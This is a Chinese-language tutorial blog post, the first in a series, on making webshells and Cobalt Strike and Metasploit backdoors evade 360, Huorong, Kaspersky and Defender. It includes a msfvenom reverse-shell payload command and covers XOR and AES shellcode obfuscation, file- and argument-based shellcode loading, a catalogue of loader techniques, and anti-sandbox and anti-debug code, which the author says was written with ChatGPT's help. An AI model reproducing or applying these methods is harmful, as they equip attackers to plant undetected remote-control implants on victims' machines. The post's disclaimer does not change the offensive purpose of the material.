声明:请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本博客号无关。
一、环境准备
系统:Win11物理机、Kali攻击机、4台Win10虚拟机【安装360杀毒、火绒、卡巴斯基、DF(Win自带)】
工具:CS、MSF、哥斯拉、冰蝎、Visual Studio2019
注意:
1、找台Win10虚拟机,VM克隆成4台即可
2、安装360杀毒、火绒、卡巴斯基的Win10记得关闭DF,以免影响后续实验效果
3、其他杀软收费,本文章暂不考虑
二、常见杀软及特点
1、常见杀软:360杀毒/360QVM、火绒、卡巴斯基、DF、ESET等
2、杀软原理:检测表面代码、检测行为、检测工具指纹
3、杀软特点:静态查杀、动态查杀、流量监控、行为监控
三、免杀目的 & 相关名词
1、免杀目的
代码混淆、行为隐藏、工具指纹隐藏、抗沙箱、绕流量平台
2、名词介绍
(1)ShellCode:ShellCode的本质其实就是一段可以自主运行的代码。它没有任何文件结构,它不依赖任何编译环境,无法像exe一样双击运行,因此需要通过控制程序流程跳转到shellcode地址加载上去执行shellcode。
(2)C2应用:CS(CobaltStrike)、MSF(Metasploit)、Viper、Ghost,比较小众的C2有Supershell、Manjusaka等,还有个人开发的 C2
(3)加载语言:常见的用来制作免杀语言有C/C++、C#、Powershell、Python、Go、Rust等
(4)C语言编写免杀的优势是虽然代码多、但是文件小。
python语言编写的优势是代码少,但是文件大。
四、免杀实验
实验一:webshell免杀
1、生成web后门
使用冰蝎生成几个服务端后门,包含jsp、php、aspx,并确保后门可以正常连接。
2、正常web后门杀毒测试
(1)360杀毒:后门一上传就被杀。
(2)火绒杀毒:没有反应QAQ,火绒是免费产品中静态杀毒最差的一个。
(3)卡巴斯基:后门一上传就被杀。
(4)DF:后门一上传就被杀。
3、制作免杀web后门
(1)工具一:XG拟态Web免杀工具(狐狸工具箱自带)
工具的操作是傻瓜式的,目的都是为了混淆后门代码,从而绕过杀毒识别表面代码。
免杀模板(必选)、加密密钥(选填)、模拟页面(选填),点击免杀复制下面生成的代码即可。
(2)工具二:弱鸡Webshell免杀工具(狐狸工具箱自带)
(3)其他工具,去公众号找找,然后自行斟酌!不要工具钓鱼即可。
https://github.com/rebeyond/Behinder/releases冰蝎WebShell免杀工具(支持4.0.6)https://github.com/rebeyond/Behinder/releases
4、免杀web后门杀毒测试
(1)360杀毒:【1】上传没被杀,连接后输入静态命令whoami、ipconfig不查杀!
【2】执行动态命令net user就被查杀了。
(2)火绒杀毒:【1】上传没被杀,连接后输入静态命令whoami、ipconfig不查杀!
【2】执行动态命令net user就被查杀了。
(3)卡巴斯基:【1】上传没被杀,连接后输入静态命令whoami、ipconfig被查杀!动态命令net user就更不用说了。
(4)DF:上传就被杀,只有有动静就被杀,DF是杀静态后门的神,当然比起360QVM稍微差一点,360QVM可以说是杀后门的流氓了。
小结:
a、实验一只是对表面代码进行隐藏,简单的绕过一些常见的杀毒设备,只要动态执行修改系统的命令基本被杀,只有少数团队大佬研究,才有全过的免杀后门
b、除了杀毒拦截,还有流量监控,像冰蝎、哥斯拉、蚁剑工具的指纹都会被识别。所以需要对工具进行魔改,从而绕过流量检测。
实验二:哥斯拉/冰蝎魔改
哥斯拉,冰蝎由java开发,魔改过程其实就以下几步:
(1)反编译
(2)修改指纹、添加更多的加密算法
(3)项目重新整合,运行
总结:操作简单,但是对不懂java开发的小伙伴来说很不友好。此文不讲这部分!
实验三:C2远控
1、生成cs后门(msf同理)
使用CS工具:设置监听器,选择Windows可执行程序,默认使用X64 payload,生成即可。双击运行,确认cs后门可以成功上线!
2、正常cs后门杀毒测试
(1)360杀毒:落地被杀
(2)火绒:落地被杀
(3)卡巴斯基:落地被杀
(4)DF:落地被杀
3、shellcode原理及工具
原理:shellcode + 源码加载器 --> 成品的后门exe
免杀的操作有:shellcode进行免杀、源码加载进行免杀、成品exe进行免杀
深入理解:exe是工具自身编译直接生成的(不好控制加载器、shellcode)
shellcode是通过我们选择加载器编译形成exe的(可控加载器模式、shellcode内容)
工具一:cs & msf(作用:生成shellcode,后门上线)
CS生成shellcode:先使用cs生成一段比特流数据的shellcode,命名为payload.c
MSF生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.128 LPORT=1234 -f c
工具二:visual studio2019 ~ 2022(作用:将shellcode + 加载器编译生成exe)
【1】工具安装:这里不多描述,记得安装C++模块即可。
【2】工具配置:记得设置中禁止安全检查、选择多线程Mtd、关闭SDL检查、编译时选择release模式、对应shellcode的X64、X32模式,目的是防止编译的过程出现错误,不过汇编语言一般选择X32,不然编译的时候会报错。
其他分析工具:010Editor、
工具准备完成,后面就可以愉快的玩耍了。
4、制作cs免杀后门
1)ShellCode 自写打乱
ShellCod由16进制和10进制编写而成,msf、cs工具生成的shellcode一般都已经固定格式了,无论怎么样,平台、杀软都能识别,所以需要手工对shellcode进行打乱,对工具进行魔改,这样生成的shellcode就是一个新的格式,从而绕过杀软的识别。
自己手写shellcode非常难,基本没几个人能完成,有兴趣的看看大佬的文章:★pwn 手写Shellcode保姆级教程★_shellcode编写教程-CSDN博客
2)ShellCode 混肴加密
【1】xor加密混淆
可以先使用ChatGPT生成python的xor加密算法,对我们的shellcode进行加密。
加密后的shellcode复制进我们的加载器中,最后生成exe项目。
杀软测试
360杀毒:落地被杀!静态查杀太强了。
DF:落地被杀!
卡巴斯基:落地未被杀!运行可以成功上线!执行静态命令成功!动态命令被杀!
火绒:落地被杀!火绒怎么这么强了QAQ?
【2】aes加密混淆
aes的加密脚本,这里使用c语言进行编写,代码网上搜索、GPT生成即可
生成exe执行项目,执行后获得加密后的shellcode、iv、key值。
将加密后的shellcode、iv、key值。放进shellcode加载器 + 解密代码的脚本中,生成exe后门。
360杀毒:落地被杀!
火绒:落地没反应!成功上线!静态命令、动态命令都没被拦截!火绒有时确实不给力。不过火绒的横向移动查杀能力比较厉害。
卡巴斯基:落地被杀!
DF:落地被杀
其他加密,rsa加密混淆,自行探索... ...,加密方式越小众越好!
3)ShellCode 分离隐藏
正常的加载器是加载落地的代码中的shellcode进行上线,而下面的几种采用内存加载、不落地、分离的技术上线。
【1】本地文件上线
原理:加载器加载本地文件(图片、文本等)读取其中shellcode进行上线。
读取本地文件 + xor加密算法
使用C++编写代码,打开本地文件gjc64.bin,并且读取里面的内容,下面还增加了xor解密算法。生成执行方案!
使用CS生成一个bin后缀文件。
使用010Editor编辑器将内容加密成十六进制 --> xor异或运算 --> 0x39 --> Hex勾选
将两个文件放同一级目录下,尝试执行看看能否上线,可以看到没问题。
杀软测试:
360杀毒:两个文件落地没反应,exe肯定没反应啊,这是个正常读取文件的程序。并且bin文件被我们xor加密后,杀毒没识别出来。成功连接!静态命令,动态命令都执行成功!
DF杀毒:落地未被杀!双击执行上线就被杀了!
卡巴斯基:落地未被杀!双击执行上线就被杀了!卡巴斯基动态的神啊。
火绒杀毒:火绒就不用看了,落地没反应!上线也成功了!
【2】执行参数上线
原理:加载执行文件后续的参数,参数值为shellcode进行上线
使用C++编写代码,代码和上面的一样,不过这里换成了参数的形式执行shellcode。只需将代码简单修改一下即可。生成执行方案!
将我们上面的bin文件,命令为一个参数即可。执行的时候打开cmd用exe去执行参数。可以执行可以成功上线。代码和文件没问题!
杀软测试
360杀毒:落地成功!上线成功!,但是一执行命令就被杀了,估计360反应过来了,上面的本地文件上线能成功,应该是360杀毒睡着了!
卡巴斯基杀毒:落地成功!上线失败,被杀了!!!
DF杀毒:落地成功!上线了,但是过一会还是被杀了!!!
火绒杀毒:还是火绒友好啊!落地、上线成功!静态、动态命令执行成功!
【3】http访问上线(免杀安全 中篇讲解)
原理:加载器访问网站(web、http协议)下面的文件shellcode进行上线
【4】socket管道上线(免杀安全 中篇讲解)
原理:客户端去发送shellcode到服务端,服务端去接受shellcode进行上线
4)ShellCode 注入回调(免杀安全 中篇讲解)
5)以上技术的混合使用
5、常见加载器技术
下面总结的加载器,生成的都是过不了杀软的,需要进一步利用!
常见加载器技术:创建堆加载、创建线程加载、动态api加载、动态api加载_x64、函数指针加载、回调函数加载、进程镂空注入、内联汇编加载、线程池等待加载、资源节加载、APC加载、Debug、Dll镂空注入、SEH加载、shellcode加载器、TLS加载、UUID加载、x64
1)回调函数加载
原理:通过代码的不断回调加载,把杀软绕晕。
shellcode + 回调函数加载 后的木马,可以成功上线,不过太直白会被杀毒!其他加载器同理!
2)资源节加载
原理:正常shellcode是写到代码中,而资源加载时将shellcode写到资源中,然后用代码去加载从而尝试绕过杀毒。
3)其他原理自行找度娘
实验四:抗沙箱沙盒/防调试
生成一个xor加密后的exe,测试能够正常上线。
将之前加密后cs的exe后门丢进微步云沙箱:https://s.threatbook.com/ 看看结果,报病毒了!
在原来的xor加密中增加防逆向调试代码、防沙箱检测代码。【使用ChatGPT写或者百度:C++防逆向调试的代码怎么写?】
下面的代码和xor加密一样,生成的exe落地,物理机的360杀毒未识别。
再丢进微步云沙箱:https://s.threatbook.com/ 看看效果,颜色是不是比刚刚好看多了
结果:将exe丢进虚拟机的360杀毒、卡巴斯基、火绒均没反应,DF识别出来了。但是虚拟机内执行不了了,因为我们的代码中加了防调试,虚拟机环境内被代码检测出来了,所以无法上线成功。不过这也是绕过杀毒的原因之一,防止杀毒逆向调试从而成功绕过!
五、总结
1、上面实验内容并不多,但是工具的使用、环境的安装、代码的排错够新手玩上几天了。
2、绕过杀毒软件的本质就是防止被杀毒库匹配,代码、工具指纹等等!
3、一个好的免杀,一定具备了多方面的性能:防杀软、绕过流量平台、防沙箱、防逆向调试后依然能够正常运行上线!
4、此文章分上 、 中 、下,未完待续... ...